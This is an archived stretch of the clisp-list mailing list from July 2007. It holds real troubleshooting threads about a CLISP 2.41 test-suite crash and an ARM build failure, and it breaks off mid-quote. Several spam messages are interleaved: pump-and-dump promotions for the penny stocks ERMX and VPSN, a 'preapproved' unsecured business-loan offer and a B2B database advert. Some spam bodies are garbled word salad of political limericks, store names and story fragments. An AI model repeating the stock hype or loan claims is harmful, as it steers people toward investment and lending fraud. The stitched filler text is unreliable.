clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: -2.8 (--) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -2.8 ALL_TRUSTED Did not pass through any untrusted hosts Subject: [clisp-list] stalwart selection X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 06 Jul 2007 05:11:07 -0000 Brokers Move On ERMX! EntreMetrix Inc. (ERMX) $0.18 Heavy trading today as ERMX announced its launch of digital support tools for its portfolio companies. Brokers are getting ahead of this steady climb as they grab up large blocks of shares for there clients. Look at the numbers and get on ERMX Friday morning! So what if you lose arms and calves, And whole men too and gals galore, Cause Bush and Don love waging war. My Condi Rice song parody is here and my music related humor is here. Leave room to fetch snacks. For my most recent blog postings and audio files, click here. That's what Snow was there for. Folks know we're near bankruptcy. Your words and actions aid the GOP. It seems poor Dan's offended by the language used on blogs, citing as examples MySpace, the Huffington Post, and the Daily Kos. But a GOP whore, Who's still wrong on the war, Has to forfeit his Senator title. No one bought what he said, So it's off with his head. Alas, we're lost, cause Dub's unbound. There Once Was A Fellow Named Card By Madeleine Begun Kane There once was a fellow named Card, Who worked for George Dubya quite hard. But there's one thing he's mastered: It's causing disasters So huge, we can't measure their scope. Wonder if your doctor would give you a note diagnosing laryngitis of indeterminate duration. You oft behave as if your word's the gospel. Leave room to fetch snacks. Bush brags we're safe within his care. Ne monkey pas avec les babouins! Card's Been Replaced By Madeleine Begun Kane Andy H. Your words and actions aid the GOP. Try to talk your spouse into phoning your regrets. He needs staffers brainy. Now he's just a goner. I fear that evil's won. La radio est dangereuse, n'est-ce pas ? You go because of leaders vain, Who care not what becomes of you. Carnival of Satire Carnival of the Liberals Tour de America: A Tribute to Patriot Floyd Landis Howard Mortman is helping a great non-partisan charity called ThanksUSA. There Once Was A Fellow Named Card By Madeleine Begun Kane There once was a fellow named Card, Who worked for George Dubya quite hard. Rove lost power, so they say. Read about writing speech. By Madeleine Begun Kane The Supremes slapped George Dubya quite hard, Saying George, you ain't Czar, King, or God. It seems poor Dan's offended by the language used on blogs, citing as examples MySpace, the Huffington Post, and the Daily Kos. You're fighting for a Prez unglued. Do you think my new set of lyrics will make Bush cry too? Josh will kick him out the door. My legal humor is here, and my Supreme Court humor is here. Don't forget Dub's spokesman Scott. Obsess about writing speech. With his veto, he murders our hopes. My legal humor is here, and my Supreme Court humor is here. Your words and actions aid the GOP. " Andrew Card worked way too hard. Alas, we're lost, cause Dub's unbound. It's kept our people free. My limericks and poetry are here. Henninger Waxes Loquacious By Madeleine Begun Kane Henninger waxes loquacious, Claiming blogs are unduly salacious. La radio est dangereuse, n'est-ce pas ? My Ode To Skippy is here and my Ode To Avedon Carol is here. And if you'd like to subscribe to my podcast feed, here it is. And here's a pair of limericks on the same topic: George Bush Has Been Urged To Clean House By Madeleine Begun Kane George Bush has been urged to clean house, By his GOP pals and his spouse. You oft behave as if your word's the gospel. His video files Of Jon Stewart are wild, And with laughter my mood he transforms. This sure seems like an appropriate time: You Go To War With What You Have By Madeleine Begun Kane You go to war with what you have. Card's Been Replaced By Madeleine Begun Kane Andy H. It seems poor Dan's offended by the language used on blogs, citing as examples MySpace, the Huffington Post, and the Daily Kos. So what if you lose arms and calves, And whole men too and gals galore, Cause Bush and Don love waging war. From podalpradeepkumar_j@infosys.com Fri Jul 06 15:01:42 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1I6vry-00075x-92 for clisp-list@lists.sourceforge.net; Fri, 06 Jul 2007 15:01:42 -0700 Received: from mo-p07-ob.rzone.de ([81.169.146.190]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1I6vrw-0007aN-Oc for clisp-list@lists.sourceforge.net; Fri, 06 Jul 2007 15:01:42 -0700 Received: from linuix.haible.de ([81.210.221.129]) by post.webmailer.de (fruni mo23) (RZmta 8.3) with ESMTP id I000c2j66HGfwV ; Sat, 7 Jul 2007 00:01:35 +0200 (MEST) From: Podal Pradeepkumar J (by way of Bruno Haible ) Date: Sat, 7 Jul 2007 00:01:30 +0200 User-Agent: KMail/1.5.4 To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200707070001.30365.podalpradeepkumar_j@infosys.com> X-RZG-AUTH: gMysVb8JT2gB+rFDu0PuvnPihAP8oFdePhw95HsN8T+WAEY7Qk1lsQYOlg== X-RZG-CLASS-ID: mo07 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] clisp-2.41 crash in testsuite (Fwd: Need some help) X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 06 Jul 2007 22:01:42 -0000 Podal Pradeepkumar J reported this. His platform is x86_64-unknown-linux2.6.21-gnu-glibc2.6. Hi Given below are the error messages given when I run make check during installation of CLISP. I don't know what is going wrong and I m still learning LISP Please help (PROGN (SETQ S1 (OPEN "t1.plc")) (SETQ S2 (OPEN "t2.plc")) (SETQ S3 (OPEN "t3.plc")) (SETQ S4 (OPEN "t4.plc")) (SETQ S5 (OPEN "t5.plc")) (SETQ C1 (MAKE-CONCATENATED-STREAM S1 S2 S3)) (SETQ C2 (MAKE-CONCATENATED-STREAM S4 S5)) T) *** - handle_fault error2 ! address = 0x0 not in [0x333a51000,0x333e89a90) ! SIGSEGV cannot be cured. Fault address = 0x0. Permanently allocated: 150584 bytes. Currently in use: 10713296 bytes. Free space: 3700 bytes. gmake[1]: *** [tests] Segmentation fault gmake[1]: Leaving directory `/home/Pradeep/Desktop/clisp-2.41/build-with-gcc/tests' make: *** [check-tests] Error 2 **************** CAUTION - Disclaimer ***************** This e-mail contains PRIVILEGED AND CONFIDENTIAL INFORMATION intended solely for the use of the addressee(s). If you are not the intended recipient, please notify the sender by e-mail and delete the original message. Further, you are not to copy, disclose, or distribute this e-mail or its contents to any other person and any such actions are unlawful. This e-mail may contain viruses. Infosys has taken every reasonable precaution to minimize this risk, but is not liable for any damage you may sustain as a result of any virus in this e-mail. You should carry out your own virus checks before opening the e-mail or attachment. Infosys reserves the right to monitor and review the content of all messages sent to or from this e-mail address. Messages sent to or from this e-mail address may be stored on the Infosys e-mail system. ***INFOSYS******** End of Disclaimer ********INFOSYS*** From hankergroup@1001pp.com Fri Jul 06 19:08:06 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1I6ziQ-0000vc-DW for clisp-list@lists.sourceforge.net; Fri, 06 Jul 2007 19:08:06 -0700 Received: from [122.6.66.1] (helo=1001pp.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1I6ziG-00087t-Ho for clisp-list@lists.sourceforge.net; Fri, 06 Jul 2007 19:08:06 -0700 From: "Hanker Group" To: clisp-list@lists.sourceforge.net Content-Type: text/plain;charset="ISO-8859-1" Date: Sat, 7 Jul 2007 10:07:47 +0800 X-Priority: 3 X-Mailer: FoxMail 4.0 beta 2 [cn] Message-ID: X-Spam-Score: -2.0 (--) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 0.8 DEAR_SOMETHING BODY: Contains 'Dear (something)' Subject: [clisp-list] Offer X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: hankergroup@1001pp.com List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 07 Jul 2007 02:08:06 -0000 Dear sir, Inquire about one million Chinese end buyers and suppliers information freely. Establish the direct cooperation relationship with Chinese end suppliers and buyers,then you can decrease cost and win the biggest profit. Inquire about 100,000 world ship-owners database and shipping information. Discuss the freight with the ship-owner directly in order to get the best freight and decrease the total deal cost, then increase the market competition! Login www.1001pp.com ,inquire about the global biggest b2b website of Chinese end suppliers & buyers information, then you will get your most needing end suppliers or buyers information,and also the ship-owner's information. Business Secretary Team Hanker International group TEL:+86-633-2201677 FAX:+86-633-2201647-3004 Mail:hankergroup@1001pp.com http://www.1001pp.com From xktg@unwired.gr Sat Jul 07 22:03:33 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1I7Ovd-00070d-4O for clisp-list@lists.sourceforge.net; Sat, 07 Jul 2007 22:03:29 -0700 Received: from pat.co.wood.oh.us ([72.241.58.190]) by mail.sourceforge.net with smtp (Exim 4.44) id 1I7Ovb-0001YR-LZ for clisp-list@lists.sourceforge.net; Sat, 07 Jul 2007 22:03:25 -0700 Received: from izl ([165.105.103.81]) by pat.co.wood.oh.us with Microsoft SMTPSVC(5.0.2195.6713); Sun, 8 Jul 2007 01:04:34 -0400 Message-ID: <46907062.7000304@unwired.gr> Date: Sun, 8 Jul 2007 01:04:34 -0400 From: Joe Medina User-Agent: Thunderbird 1.5.0.12 (Windows/20070509) MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: -2.8 (--) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -2.8 ALL_TRUSTED Did not pass through any untrusted hosts Subject: [clisp-list] drum frilly X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 08 Jul 2007 05:03:33 -0000 VPSN WILL MOVE LIKE A COMET AND ITS ONLY GOING TO GET BETTER! Watch this SUPERNOVA closely MONDAY! VISION AIRSHIPS INC Symbol: VPSN Price: $0.021 BANGKOK, THAILAND, July 2007 Advertising Agencies Ready to Ink Deals! The company wishes to announce that it is in final negotiations for representation with some of the world's largest advertising agencies to market and reserve the blimps for there clients. VPSN THE RISING STAR, IS SET FOR SUPERNOVA STATUS ON MONDAY! Colorful Images Comedy Central Comfort Channel CompAndSave. com Happy Mothers Happy Valley Toys Harry and David Hatley HBO Store HearthSong Hechinger Heirloom Wooden Toys Hello Direct HelmetOutletUSA Henry Fields Hickory Farms HighChairs. com Bloomingdale's Blue Nile BlueFly BlueFrogGoods. Leonards Dreamtime Baby Driving Comfort DrJays. com Coupon Details Big Savings with Instant Rebates on Select Items at Newegg. com Hotwire House Of Nutrition HP Home Store HP Small Business HSN Hudson Reed HVAC Plus Hyatt Hotels iAmplify. com Directly Home Discount Office Supplies Discovery Store Disney Shopping DIYFlooring. com Get Organized Gevalia Gift Shopping Zone GiftCertificates. com Joe's Sports JoggingStroller. com Apple Bottoms Apple iTunes Apple Store Appleseeds AppliancePartsPros. Colorful Images Comedy Central Comfort Channel CompAndSave. com WebVitamins Wedding Paper Divas WeHaveSeats. com Dogfunk DoItBest. com ShopNBC ShopPBS ShoppersChoice. com Bunches of Books Bunny Creek Busted Tees Buy. com EB Games eBags eBay eBeanStalk eCampus. com Plus Size Bridal PoolClick PoolGear. com Costume City Costume Craze Costume SuperCenter Costume-Party-Shop. com ProSound PurchaseTix Puritans Pride QVC. com Shop MobileCaller. com Lensmart LensWorld. com Coupon Details Big Savings with Instant Rebates on Select Items at Newegg. com coupons don't work, or if you find Newegg. com Nickelodeon Store Nike Nirvana Chocolates Nordstrom Norm Thompson NorthernTool. com Lensmart LensWorld. com Leaps and Bounds LEGO Lehman's Lenox. com Domestications DomesticBin dotPhoto Doubleday Book Club Dr. com Edamame Spa Eddie Bauer Eddie Bauer Outlet eDiets. com coupons may expire or be pulled by Newegg. com Sierra Trading Post Signature Days Silhouettes Silkflowers. com Diamonds International DiamondStudsOnly. com Lumens Luminescence Luxe Vivant Mac Connection MacArthur Water Gardens MacMall Macys Madallie. com MCSports MedicalSupplyGroup. com GigaGolf Gile Toys Ginny's Catalog GlassesEtc Global Industrial Globe Life Insurance GNC Go Card USA GoGamer Golfballs. com NothingButSoftware. com TracFone Tramdock Trampoline Parts and Supply Traveling With Kidz Travelocity. com Omaha Steaks One Step Ahead One Stop Plus OneHanesPlace Oneida OneWayFurniture. com Biotherm Birkenstock Central Birthday in a Box BirthdayZ by ShindigZ Bits and Pieces Black Hound New York Blades. com Bellagio Las Vegas BeltOutlet. com Impromptu Gourmet IN THE HOLE! com YOOX Your Kids Direct Yves Rocher Zales Zappos. com Candy Crate Canvas on Demand CardScan. com Eastern Mountain Sports Eastwood. com Golfsmith GolfTravelBags. com Cooltan Swimwear Corner Stork Baby Gifts CosmeticMall. com AbsoluteHome Abt Electronics AC Lens Academic Superstore ACDSee Ace Hardware Activa adidas aerie by American Eagle Aeropostale AJ Madison Akademiks ALaZing AlexBet Alibris Alienware alight. com Battery Values BatteryShip. com Coupon Details Deep Discounts on Newegg Open Boxed Items. com EntirelyPets Epson Store ESPNshop. com Back In The Saddle Back To Basics Toys Backcountry. com Tilly's Timberland. com Foot Locker Football Fanatics FootSmart Fossil FragranceNet. com UncommonGoods UnderGear Underground Station United Airlines UpgradeMemory. com Costume City Costume Craze Costume SuperCenter Costume-Party-Shop. Big Savings on Electronics at Newegg! com Impromptu Gourmet IN THE HOLE! com FAO Schwarz Fashion Bug FastFloors. com EntirelyPets Epson Store ESPNshop. From dggh@good-tutorials.com Sun Jul 08 00:42:52 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1I7RPw-0004xm-Mg for clisp-list@lists.sourceforge.net; Sun, 08 Jul 2007 00:42:52 -0700 Received: from 143.213.125.91.gr7.adsl.brightview.com ([91.125.213.143]) by mail.sourceforge.net with smtp (Exim 4.44) id 1I7RPu-0006Go-3e for clisp-list@lists.sourceforge.net; Sun, 08 Jul 2007 00:42:52 -0700 Received: (qmail 8049 invoked from network); Sun, 8 Jul 2007 08:40:46 +0100 Received: from unknown (HELO pxwfd) (239.190.28.101) by 143.213.125.91.gr7.adsl.brightview.com with SMTP; Sun, 8 Jul 2007 08:40:46 +0100 Message-ID: <469094FE.1080205@good-tutorials.com> Date: Sun, 8 Jul 2007 08:40:46 +0100 From: Simmy Rose User-Agent: Thunderbird 1.5.0.12 (Windows/20070509) MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: -2.6 (--) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] haunt X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 08 Jul 2007 07:42:53 -0000 VPSN WILL MOVE LIKE A COMET AND ITS ONLY GOING TO GET BETTER! Watch this SUPERNOVA closely MONDAY! VISION AIRSHIPS INC Symbol: VPSN Price: $0.021 BANGKOK, THAILAND, July 2007 Advertising Agencies Ready to Ink Deals! The company wishes to announce that it is in final negotiations for representation with some of the world's largest advertising agencies to market and reserve the blimps for there clients. VPSN THE RISING STAR, IS SET FOR SUPERNOVA STATUS ON MONDAY! You could have blocked Alito, but you failed to. Je blog, donc je suis. Exploiting Nine-One-One. You've been disloyal to voters and your party. Bush-Cheney threaten rights held dear. My No Liebe For Lieberman is here and my song parodies are here. With his veto, he murders our hopes. To be Dub's pal became your grand fixation. From sds@gnu.org Mon Jul 09 10:28:28 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1I7x2C-0006CG-AM for clisp-list@lists.sourceforge.net; Mon, 09 Jul 2007 10:28:28 -0700 Received: from www.janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1I7x2A-00052X-Ss for clisp-list@lists.sourceforge.net; Mon, 09 Jul 2007 10:28:28 -0700 Received: from [172.25.131.105] [38.96.172.125] by janestcapital.com with ESMTP (SMTPD-9.10) id A0470314; Mon, 09 Jul 2007 13:28:39 -0400 Message-ID: <46927033.8090904@gnu.org> Date: Mon, 09 Jul 2007 13:28:19 -0400 From: Sam Steingold User-Agent: Thunderbird 2.0.0.0 (X11/20070326) MIME-Version: 1.0 To: Podal Pradeepkumar J References: <200707070001.30365.podalpradeepkumar_j@infosys.com> In-Reply-To: <200707070001.30365.podalpradeepkumar_j@infosys.com> X-Enigmail-Version: 0.95.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp-2.41 crash in testsuite (Fwd: Need some help) X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 09 Jul 2007 17:28:28 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Podal Pradeepkumar J (by way of Bruno Haible ) wrote: > Podal Pradeepkumar J reported this. > His platform is x86_64-unknown-linux2.6.21-gnu-glibc2.6. > > Given below are the error messages given when I run > > make check > > during installation of CLISP. I don't know what is going wrong and I m > still learning LISP > > > (PROGN (SETQ S1 (OPEN "t1.plc")) (SETQ S2 (OPEN "t2.plc")) (SETQ S3 > (OPEN "t3.plc")) (SETQ S4 (OPEN "t4.plc")) (SETQ S5 (OPEN "t5.plc")) > (SETQ C1 (MAKE-CONCATENATED-STREAM S1 S2 S3)) (SETQ C2 > (MAKE-CONCATENATED-STREAM S4 S5)) T) > > *** - handle_fault error2 ! address = 0x0 not in > [0x333a51000,0x333e89a90) ! > SIGSEGV cannot be cured. Fault address = 0x0. > Permanently allocated: 150584 bytes. > Currently in use: 10713296 bytes. > Free space: 3700 bytes. > gmake[1]: *** [tests] Segmentation fault > gmake[1]: Leaving directory > `/home/Pradeep/Desktop/clisp-2.41/build-with-gcc/tests' > make: *** [check-tests] Error 2 wfm clisp cvs head glibc-2.4-11 gcc-4.1.1-1.fc5 Linux x2.6.18-1.2257.fc5 86_64 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFGknAzPp1Qsf2qnMcRAmhEAKCr5HRlz8D3nHEo7Qwi6OiB+ICxNACfQccD EqZtlIvaYU4AbaMaEFncEe0= =A3ic -----END PGP SIGNATURE----- From Dominiqueepochsumptuous@enchantedlearning.com Tue Jul 10 03:46:32 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1I8DEm-0004mp-Dm; Tue, 10 Jul 2007 03:46:32 -0700 Received: from pool-71-254-103-199.ptldme.east.verizon.net ([71.254.103.199] helo=verizon.net) by mail.sourceforge.net with esmtp (Exim 4.44) id 1I8DEl-00059X-Sz; Tue, 10 Jul 2007 03:46:32 -0700 Received: from utica by enchantedlearning.com with SMTP id oHJuLtBrFG for ; Tue, 10 Jul 2007 05:45:41 +0600 From: "Dalton Gay" To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: X-Spam-Score: -2.8 (--) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 MISSING_DATE Missing Date: header -2.8 ALL_TRUSTED Did not pass through any untrusted hosts Subject: [clisp-list] Enjoy the freedom of les monthly outgoings X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Date: Tue, 10 Jul 2007 10:46:32 -0000 X-List-Received-Date: Tue, 10 Jul 2007 10:46:32 -0000 As a business you have been preapproved to receive 47718 USD TODAY! No hassle at all, completely unsecured. There are no hidden costs or fees. Worried that your credit is less than perfect? Not an issue. As long as your business is based in the US and processes over ten thousand a month. Give us a ring, now.. +1-877-767-9308 Turn your dream, into a reality, is that not worth two minutes of your time? +1-877-767-9308 You and all your poker cronies - who probably control this whole minor-league ballpark of a town probably played a hand of Lowball or something to see who got this cute detail. When it didnt, he gave another giant whooping gasp, and then he was breathing again on his own, and doing it as fast as he could to flush the smell and taste of her out of him. Daren Roach From jamie@jamiecraig.com Wed Jul 11 01:31:18 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1I8XbR-0004c8-Dr for clisp-list@lists.sourceforge.net; Wed, 11 Jul 2007 01:31:18 -0700 Received: from madhacker.demon.co.uk ([80.177.120.104] helo=helium.darkdevices.com ident=Debian-exim) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1I8XbQ-0004M4-Ld for clisp-list@lists.sourceforge.net; Wed, 11 Jul 2007 01:31:17 -0700 Received: from jamie by helium.darkdevices.com with local (Exim 4.63) (envelope-from ) id 1I8XbJ-00025M-2g; Wed, 11 Jul 2007 09:31:09 +0100 Date: Wed, 11 Jul 2007 09:31:09 +0100 From: Jamie Craig To: clisp-list@lists.sourceforge.net Message-ID: <20070711083109.GB24537@jamiecraig.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.13 (2006-08-11) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] Compiling CLISP on ARM Linux - ffi problems X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 11 Jul 2007 08:31:19 -0000 Hi, I've been trying to get CLISP up and running on a Nokia N800 internet tablet, which runs one of the usual little debian-based Linux distributions. While I've had some success getting CLISP proper running (configure settings and make check-recompile timings below) I can't get it to build with FFI or any of the standard base modules. Can anyone offer any suggestions? The following might shed some light on the problems: When I run configure (CFLAGS set to -DSAFETY=3 -mcpu=arm1136j-s, no other configure options) mostly everything looks OK, but near the end of the process, vacall-arm.s fails to assemble with: make[1]: Entering directory `/root/clisp-2.41/src/callback/vacall_r' /bin/sh ./libtool --mode=compile gcc -x none -c vacall-arm.s gcc -x none -c vacall-arm.s -o vacall-arm.o vacall-arm.s: Assembler messages: vacall-arm.s:3: Warning: ignoring attempt to redefine built-in register 'sl' vacall-arm.s:3: Warning: ignoring attempt to redefine built-in register 'SL' vacall-arm.s:4: Warning: ignoring attempt to redefine built-in register 'fp' vacall-arm.s:4: Warning: ignoring attempt to redefine built-in register 'FP' vacall-arm.s:5: Warning: ignoring attempt to redefine built-in register 'ip' vacall-arm.s:5: Warning: ignoring attempt to redefine built-in register 'IP' vacall-arm.s:6: Warning: ignoring attempt to redefine built-in register 'sp' vacall-arm.s:6: Warning: ignoring attempt to redefine built-in register 'SP' vacall-arm.s:7: Warning: ignoring attempt to redefine built-in register 'lr' vacall-arm.s:7: Warning: ignoring attempt to redefine built-in register 'LR' vacall-arm.s:8: Warning: ignoring attempt to redefine built-in register 'pc' vacall-arm.s:8: Warning: ignoring attempt to redefine built-in register 'PC' vacall-arm.s:77: Error: selected processor does not support `ldfeqs f0,[sp,#20]' vacall-arm.s:81: Error: selected processor does not support `ldfeqd f0,[sp,#20]' make[1]: *** [vacall-arm.lo] Error 1 make[1]: Leaving directory `/root/clisp-2.41/src/callback/vacall_r' make: *** [all-subdirs] Error 2 Configure findings: FFI: no (user requested: default) readline: yes (user requested: default) libsigsegv: yes This appears to be complaining about a pretty simple float-point load instruction; later ARMs have different FPUs (or none, in the more common case) but as far as I knew they all supported at least the instruction set of the original ARMv2 FPU. Does anyone know of a working vacall-arm? However, configure completes regardless, and it's happy from that point to compile CLISP itself. Unfortunately, although it can compile the main program no problem, and produces a pretty decent working version, it can't compile any of the modules, all of which fail with syntax errors in clisp.h. I'm not sure why this breaks; I gather clisp.h is autogenerated, but presumably it's generated much the same regardless of the fine details of the platform? In any case, I don't think I'm expecting this to work too well until vacall works. For now, if I remove the modules from the base modules list in the Makefile, then make clisp etc. all work nicely. For the platforms list, make check-recompile on a Nokia N800 Internet tablet finishes successfully as: ARM 1136J-S, 128M RAM, gcc 3.4.4, 339 seconds (306 user, 12 sys), all running from SD card instead of internal flash. CFLAGS are as above, no configure options, but anyone else trying it will want to set the TMP environment variable to point to a space on SD/disk, not leave it pointing to /tmp in core. -- Jamie Craig From sds@gnu.org Wed Jul 11 06:20:24 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1I8c7D-000224-Mo for clisp-list@lists.sourceforge.net; Wed, 11 Jul 2007 06:20:23 -0700 Received: from www.janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1I8c7C-0003Db-4n for clisp-list@lists.sourceforge.net; Wed, 11 Jul 2007 06:20:23 -0700 Received: from [172.25.131.105] [38.96.172.125] by janestcapital.com with ESMTP (SMTPD-9.10) id A92001E8; Wed, 11 Jul 2007 09:20:32 -0400 Message-ID: <4694D90C.2000103@gnu.org> Date: Wed, 11 Jul 2007 09:20:12 -0400 From: Sam Steingold User-Agent: Thunderbird 2.0.0.0 (X11/20070326) MIME-Version: 1.0 To: Jamie Craig References: <20070711083109.GB24537@jamiecraig.com> In-Reply-To: <20070711083109.GB24537@jamiecraig.com> X-Enigmail-Version: 0.95.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Compiling CLISP on ARM Linux - ffi problems X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 11 Jul 2007 13:20:24 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Jamie Craig wrote: > > The following might shed some light on the problems: > When I run configure (CFLAGS set to -DSAFETY=3 -mcpu=arm1136j-s, no "./configure --with-debug" is the more standard way to get -DSAFETY=3 (if you really need it). what happens when you drop it? > make[1]: Entering directory `/root/clisp-2.41/src/callback/vacall_r' > /bin/sh ./libtool --mode=compile gcc -x none -c vacall-arm.s > gcc -x none -c vacall-arm.s -o vacall-arm.o > vacall-arm.s: Assembler messages: > vacall-arm.s:3: Warning: ignoring attempt to redefine built-in register 'sl' > vacall-arm.s:3: Warning: ignoring attempt to redefine built-in register 'SL' > vacall-arm.s:4: Warning: ignoring attempt to redefine built-in register 'fp' > vacall-arm.s:4: Warning: ignoring attempt to redefine built-in register 'FP' > vacall-arm.s:5: Warning: ignoring attempt to redefine built-in register 'ip' > vacall-arm.s:5: Warning: ignoring attempt to redefine built-in register 'IP' > vacall-arm.s:6: Warning: ignoring attempt to redefine built-in register 'sp' > vacall-arm.s:6: Warning: ignoring attempt to redefine built-in register 'SP' > vacall-arm.s:7: Warning: ignoring attempt to redefine built-in register 'lr' > vacall-arm.s:7: Warning: ignoring attempt to redefine built-in register 'LR' > vacall-arm.s:8: Warning: ignoring attempt to redefine built-in register 'pc' > vacall-arm.s:8: Warning: ignoring attempt to redefine built-in register 'PC' > vacall-arm.s:77: Error: selected processor does not support `ldfeqs f0,[sp,#20]' > vacall-arm.s:81: Error: selected processor does not support `ldfeqd f0,[sp,#20]' > make[1]: *** 